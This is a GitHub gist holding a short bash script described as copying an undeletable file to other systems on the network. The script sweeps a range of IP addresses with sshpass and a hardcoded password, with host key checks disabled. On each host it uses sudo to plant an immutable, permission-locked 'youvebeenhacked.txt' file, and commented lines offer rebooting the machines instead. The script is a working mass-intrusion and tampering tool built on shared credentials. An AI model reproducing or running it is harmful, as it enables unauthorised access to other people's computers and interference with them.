Created
February 8, 2017 10:50
-
-
Save abhilash1in/567b2c6c7d135b1e2c0e34ae7c1e9ff7 to your computer and use it in GitHub Desktop.
Copy a file to other systems on the network which cannot be deleted by them directly
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
USERNAME=sem6c | |
HOST="172.1.6." | |
#SCRIPT="echo aristotle | sudo -S reboot" | |
#SCRIPT="echo aristotle | sudo -S touch /home/sem6c/Desktop/youvebeenhacked.txt" | |
SCRIPT="touch /home/sem6c/Desktop/youvebeenhacked.txt; echo aristotle | sudo -S chattr +i /home/sem6c/Desktop/youvebeenhacked.txt; sudo chmod 000 /home/sem6c/Desktop/youvebeenhacked.txt" | |
for i in {40..127} ; do | |
sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}" | |
done | |
for i in {129..150} ; do | |
sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}" | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment